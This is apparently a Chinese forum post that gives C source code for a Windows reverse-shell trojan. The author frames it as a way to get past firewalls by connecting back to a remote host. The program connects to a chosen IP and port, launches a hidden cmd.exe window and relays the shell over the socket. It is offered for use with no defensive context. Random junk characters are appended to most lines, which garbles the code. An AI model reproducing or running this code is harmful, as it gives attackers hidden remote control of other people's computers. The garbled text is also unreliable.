这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 ?uk|x!Ko]
v*FCE 1HI
/* ============================== SDA
+XnmH
Rebound port in Windows NT hYb!RRGn
By wind,2006/7 /bt@HFL|`
===============================*/ %QwMB`x
#include @B7;
#include _ky!4^B
!%T@DT=l&
#pragma comment(lib,"wsock32.lib") &b"PjtU.X
&|/C*2A
void OutputShell(); IL YS:c58=
SOCKET sClient; gl2~6"dc
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; :_)Xe*O
zT!JHG
void main(int argc,char **argv) H{p+gj^J
{ 8QFY:.h&
WSADATA stWsaData; 4&$hBn=!
int nRet; >]ZojdOl)
SOCKADDR_IN stSaiClient,stSaiServer; (a&.Ad0{
Ev*HH+:b>
if(argc != 3) N<$uAns
{
UCvMW*gs
printf("Useage:\n\rRebound DestIP DestPort\n"); wQPjo!FEX
return; Z~T- *1V
} Qnr' KbK
@HIC i]
WSAStartup(MAKEWORD(2,2),&stWsaData); N@tzYD|hA
/vsQ <t;~
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); J*a`qU
`=q)-y_C
stSaiClient.sin_family = AF_INET; +SUQRDF@i
stSaiClient.sin_port = htons(0); Yw?%>L
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); JfKl=vg
0sV;TQt+f
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) rb`C:#j{J
{ e-UPu%'
printf("Bind Socket Failed!\n"); qI8{JcFx:
return; xCoQ>.4p
} Ms{v;fT
-_b}b)2iYN
stSaiServer.sin_family = AF_INET; 42Kzdo|}
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); @105 @9F
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); CIO&VK
(Q#A Br8
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) OM}:1He
{ <Ni]\-*
printf("Connect Error!"); xV<NeU
return; MttVgNV
} <aL$d7
OutputShell(); X@|
} ro^Y$;G
vERsrg;(
void OutputShell() ?=Ma7 y
{ "b-6kM
char szBuff[1024]; R:^GNra;
SECURITY_ATTRIBUTES stSecurityAttributes; l}:9)nXA{
OSVERSIONINFO stOsversionInfo; ~[ve?51
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; cJi5\<b
STARTUPINFO stStartupInfo; //V?rs
char *szShell;
(nvSB}?
PROCESS_INFORMATION stProcessInformation; G^)|c<'M
unsigned long lBytesRead; /+02BP
|`:Uww+3
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); \$riwL
O3Ks|%1
stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); (MJu3t
@
stSecurityAttributes.lpSecurityDescriptor = 0; z@T;N'EM
stSecurityAttributes.bInheritHandle = TRUE; ")x9A&p
)9L1WOGi
E*rDwTd
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); T'fE4}rY
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); P9X/yZ42
8h;1(S)*Z
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); S`"IM?
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; X}
8rrC=
stStartupInfo.wShowWindow = SW_HIDE; >MiA|N=
stStartupInfo.hStdInput = hReadPipe; QJOP *<O
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; G}}oeS
?$=N!>P#
GetVersionEx(&stOsversionInfo); )M'#l<9B
}{]{`\
switch(stOsversionInfo.dwPlatformId) $zxCv7
{ LT2mwJl
case 1: WmOd1
szShell = "command.com"; J^0co1Y0
break; d-xKm2sH
default: vV"TTzs!
szShell = "cmd.exe"; r&Za*TD^
break; }IEYH&4!
} [4t_ 83
f[h=>O
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); =We}&80x
"o=h /q5&
send(sClient,szMsg,77,0); %"+FN2nbm
while(1) MJ&6 Z*
{ D@O'8
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); 8l;0)`PU
if(lBytesRead) ;'2y6"\Y
{ OO53U=NU
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); gt{ei)2b
send(sClient,szBuff,lBytesRead,0); TZ-n)rC)v
} tEBf2|<
else +>c)5Jih
{ pEhWgCL
lBytesRead=recv(sClient,szBuff,1024,0); cs~
}k7><
if(lBytesRead<=0) break; _;X# &S(q-
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); UmInAH4
} R1J"QU
} wQ(ME7t
t-_N|iW' 5
return; dtm_~r7~
}